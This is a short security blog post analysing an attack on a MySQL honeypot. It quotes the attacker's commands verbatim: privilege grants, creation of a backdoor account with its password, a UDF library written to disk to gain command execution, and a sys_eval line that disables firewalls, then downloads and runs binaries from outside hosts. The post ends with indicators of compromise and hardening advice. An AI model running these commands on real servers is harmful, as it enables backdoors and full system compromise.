Quick Analysis of a Recent MySQL Exploit
Last Updated: 2016-02-29 18:31:29 UTC
by Johannes Ullrich (Version: 1)
We had a mysql honeypot getting hit hard with this "exploit" recently. I am enclosing the word "exploit" in quotes as the MySQL server was configured to allow logging in without password.
Here are some of the highlights of what happened after the attacker logged in.
First, the attacker makes sure that the "root" user has all possible privileges:
GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, CREATE VIEW, DROP, EVENT, EXECUTE, FILE, INDEX, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION CLIENT, REPLICATION SLAVE, SHOW DATABASES, SHOW VIEW, SHUTDOWN, SUPER, TRIGGER ON *.* TO 'root'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES
Next, a "backdoor" account, mysqld, is added. Interestingly, this is done first by inserting the user into the "mysql.user" table, then again using the create user and grant command.
insert into mysql.user(Host,User,Password) values("%","mysqld",password("654321*a")); CREATE USER 'mysqld'@'%' IDENTIFIED BY '654321*a'; GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, CREATE VIEW, DROP, EVENT, EXECUTE, FILE, INDEX, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION CLIENT, REPLICATION SLAVE, SHOW DATABASES, SHOW VIEW, SHUTDOWN, SUPER, TRIGGER ON *.* TO 'mysqld'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES;
Next, the attacker is degrading the security of our mysql install further, but allowing stored functioned to write data to binary logs:
set global log_bin_trust_function_creators=1
Of course, we may already be infected, so the attacker cleans up prior copies of the malicious code
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info DROP FUNCTION IF EXISTS sys_get DROP FUNCTION IF EXISTS sys_set DROP FUNCTION IF EXISTS sys_exec Then, a set of files is written to "/usr/lib/mysql/plubin". This directory *should* be write protected to the mysql user, so this should not work in most installs. select unhex('7F454C4602010100...000000') into dumpfile '/usr/lib/mysql/plugin/XXSIlX.so'
In case MySQL is properly configured, the same file is also written to /usr/lib/mysql and other locations. Then, the ".so" file (an ELF binary) is used to create a function.
CREATE FUNCTION sys_eval RETURNS string SONAME 'XXSIlX.so'
It turns out tht this function is essentially an "exec" that allows executing arbitrary system commands. The attacker will now use it to download additional code (I code errors trying to download the code now). Note that the code is downloaded from web servers that listen on various high ports, not port 80.
select sys_eval('/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;cp /usr/bin/wget .;chmod +x wget;./wget -P ./dbms_temp http://game918.me:2545/websevrer;chmod 0755 ./dbms_temp/websevrer;./dbms_temp/websevrer;./wget -P ./db_temp http://220.127.116.11:58964/Tyrantudp;chmod 0755 ./db_temp/Tyrantudp;./db_temp/Tyrantudp;rm -rf wget;history -c;')
Probably the best "indicator of compromise" is the existence of the mysqld user. This user appears to be common to all the attempts I have seen recently. The file names for the .so files change. Also auditing functions that exist on your MySQL server will help. And PLEASE: Do not expose port 3306 on the internet and set a strong password or use certificates to authenticate.
...unless it's hooked to a TCP tarpit.
Mar 1st 2016
7 years ago